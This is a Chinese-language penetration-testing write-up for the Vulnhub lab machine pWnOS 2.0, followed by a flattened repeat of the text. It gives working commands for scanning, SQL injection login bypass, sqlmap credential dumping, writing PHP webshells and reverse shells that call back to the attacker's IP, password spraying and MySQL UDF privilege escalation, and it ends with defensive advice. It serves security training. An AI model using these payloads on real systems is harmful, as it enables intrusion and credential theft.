Vulnhub靶机渗透总结之Pwnos2.0
字数 1366 2025-08-24 07:48:33

PwnOS 2.0 靶机渗透教学文档

一、靶机基本信息

二、环境配置

网络配置

  • 靶机IP: 10.10.10.100
  • 攻击机(Kali)IP: 10.10.10.23
  • 网络配置:
    • 子网掩码: 255.255.255.0
    • 网关: 10.10.10.15

三、信息收集

1. 主机发现

nmap 10.10.10.0/24 -sn --min-rate 1000

2. 端口扫描

nmap 10.10.10.100 -sT -p- --min-rate 1000 -oA nmap_result/port_scan
nmap 10.10.10.100 -sU --top-ports 10 -oA nmap_result/port_udp_scan

3. 服务识别

port=$(grep open nmap_result/port_scan.nmap | grep open | awk -F '/' '{print $1}' | paste -sd ',')
nmap 10.10.10.100 -p $port -sT -sV -O -sC -oA nmap_result/server_info
nmap 10.10.10.100 -p $port --script=vuln -oA nmap_result/vuln_info

开放端口:

  • 22/tcp: OpenSSH 5.8p1
  • 80/tcp: Apache httpd 2.2.17 (Ubuntu)

4. Web目录扫描

dirsearch -u "http://10.10.10.100" -o dirsearch_info
gobuster dir -u http://10.10.10.100 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -o gobuster_info
dirb http://10.10.10.100 -o dirb_info
whatweb "http://10.10.10.100/blog/"

发现目录:

  • /blog - Simple PHP Blog 0.4.0
  • /info - phpinfo()页面
  • /includes - 文件列表
  • /images - 文件列表

四、Web渗透

1. SQL注入发现

测试点: 登录页面 (login.php) 的email参数

手动测试:

  1. 单引号测试:

    email=admin'&pass=1234&submit=Login&submitted=TRUE
    

    返回SQL错误,确认存在注入

  2. 构造恶意输入:

    email=admin' or '1'#&pass=1234&submit=Login&submitted=TRUE
    

    成功登录

2. SQL注入利用

使用sqlmap:

# 基本注入测试
sqlmap -u 'http://10.10.10.100/login.php' --data='email=admin&pass=admin&submit=Login' --level=5 --risk=3 --batch

# 获取数据库数据
sqlmap -u 'http://10.10.10.100/login.php' --data='email=admin&pass=admin&submit=Login' --level=5 --risk=3 --batch -D ch16 -T users --dump

# 获取MySQL用户凭据
sqlmap -u 'http://10.10.10.100/login.php' --data='email=admin&pass=admin&submit=Login' --level=5 --risk=3 --batch --users --passwords

获取到的凭据:

  • ch16.users表: admin@isints.com:killerbeesareflying
  • MySQL用户: root:root@ISIntS

3. 上传Web Shell

方法1: 使用sqlmap的--os-shell

sqlmap -u 'http://10.10.10.100/login.php' --data='email=admin&pass=admin&submit=Login' --level=5 --risk=3 --os-shell

方法2: 手动上传PHP反向shell

# 生成反向shell
msfvenom -p php/reverse_php LHOST=10.10.10.23 LPORT=4444 -o shell.php

# 使用sqlmap上传
sqlmap -u 'http://10.10.10.100/login.php' --data='email=admin&pass=admin&submit=Login' --level=5 --risk=3 --file-write='/path/to/shell.php' --file-dest='/var/www/shell.php'

方法3: 使用SQL注入直接写入文件

email=' union select 11,22,33,"<?php system($_POST['x']);?>",55,66,77,88 into outfile '/var/www/shell.php'#&pass=1234&submit=Login&submitted=TRUE

五、权限提升

1. 数据库配置文件发现

find / -name mysqli_connect.php 2>/dev/null

发现两个配置文件:

  1. /var/www/mysqli_connect.php - 包含root:goodday
  2. /var/mysqli_connect.php - 包含root:root@ISIntS

2. MySQL登录尝试

mysql -uroot -proot@ISIntS

3. 密码碰撞

使用crackmapexec尝试SSH登录:

crackmapexec ssh 10.10.10.100 -u user_list -p pass_list --continue-on-success

成功发现root密码为root@ISIntS

4. UDF提权尝试(备用方案)

  1. 检查MySQL版本和插件目录:

    select @@version;
    show variables like '%plugin%';
    
  2. 上传UDF库:

    # 从攻击机下载UDF库
    wget http://10.10.10.23/lib_mysqludf_sys_64.so -O /tmp/udf.so
    
    # MySQL中执行
    use mysql;
    create table tmp(data blob);
    insert into tmp values(load_file('/tmp/udf.so'));
    select data from tmp into dumpfile "/usr/lib/mysql/plugin/udf.so";
    create function sys_eval returns string soname 'udf.so';
    select sys_eval('id');
    

六、其他攻击路径

1. Simple PHP Blog 0.4.0漏洞利用

# 使用Metasploit
msfconsole -q -x 'use exploit/unix/webapp/sphpblog_file_upload;set rhost 10.10.10.100;set uri /blog;run'

# 使用公开exp
./1191.pl -h http://10.10.10.100/blog -e 2
./1191.pl -h http://10.10.10.100/blog -e 3 -U wsec -P wsec

七、总结与反思

关键点总结

  1. SQL注入是主要突破口,通过登录页面的email参数
  2. 密码重用是提权关键,数据库密码与SSH密码相同
  3. 配置文件泄露提供了重要凭据
  4. 框架漏洞提供了备用攻击路径

安全建议

  1. 避免密码重用,特别是不同服务使用相同密码
  2. 对用户输入进行严格过滤,防止SQL注入
  3. 配置文件不应包含明文密码,且不应存放在web目录
  4. 及时更新CMS和框架,修复已知漏洞

渗透技巧

  1. 使用sqlmap的--os-shell失败时,可尝试手动上传shell
  2. 发现一个密码后,应尝试在其他服务上使用
  3. 配置文件搜索应全面,不限于web目录
  4. 多种攻击路径应并行尝试,提高成功率

通过本靶机渗透,我们实践了从信息收集、漏洞发现、漏洞利用到权限提升的完整渗透测试流程,特别强调了SQL注入和密码重用的危害。

PwnOS 2.0 靶机渗透教学文档 一、靶机基本信息 名称 : pWnOS 2.0 难度 : Easy 架构 : LAMP (Linux + Apache + MySQL + PHP) 下载链接 : https://www.vulnhub.com/entry/pwnos-20-pre-release,34/ 发布日期 : 2011年7月4日 二、环境配置 网络配置 靶机IP: 10.10.10.100 攻击机(Kali)IP: 10.10.10.23 网络配置: 子网掩码: 255.255.255.0 网关: 10.10.10.15 三、信息收集 1. 主机发现 2. 端口扫描 3. 服务识别 开放端口 : 22/tcp: OpenSSH 5.8p1 80/tcp: Apache httpd 2.2.17 (Ubuntu) 4. Web目录扫描 发现目录 : /blog - Simple PHP Blog 0.4.0 /info - phpinfo()页面 /includes - 文件列表 /images - 文件列表 四、Web渗透 1. SQL注入发现 测试点 : 登录页面 (login.php) 的email参数 手动测试 : 单引号测试: 返回SQL错误,确认存在注入 构造恶意输入: 成功登录 2. SQL注入利用 使用sqlmap : 获取到的凭据 : ch16.users表: admin@isints.com:killerbeesareflying MySQL用户: root:root@ISIntS 3. 上传Web Shell 方法1 : 使用sqlmap的--os-shell 方法2 : 手动上传PHP反向shell 方法3 : 使用SQL注入直接写入文件 五、权限提升 1. 数据库配置文件发现 发现两个配置文件: /var/www/mysqli_ connect.php - 包含root:goodday /var/mysqli_ connect.php - 包含root:root@ISIntS 2. MySQL登录尝试 3. 密码碰撞 使用crackmapexec尝试SSH登录: 成功发现root密码为root@ISIntS 4. UDF提权尝试(备用方案) 检查MySQL版本和插件目录: 上传UDF库: 六、其他攻击路径 1. Simple PHP Blog 0.4.0漏洞利用 七、总结与反思 关键点总结 SQL注入 是主要突破口,通过登录页面的email参数 密码重用 是提权关键,数据库密码与SSH密码相同 配置文件泄露 提供了重要凭据 框架漏洞 提供了备用攻击路径 安全建议 避免密码重用,特别是不同服务使用相同密码 对用户输入进行严格过滤,防止SQL注入 配置文件不应包含明文密码,且不应存放在web目录 及时更新CMS和框架,修复已知漏洞 渗透技巧 使用sqlmap的--os-shell失败时,可尝试手动上传shell 发现一个密码后,应尝试在其他服务上使用 配置文件搜索应全面,不限于web目录 多种攻击路径应并行尝试,提高成功率 通过本靶机渗透,我们实践了从信息收集、漏洞发现、漏洞利用到权限提升的完整渗透测试流程,特别强调了SQL注入和密码重用的危害。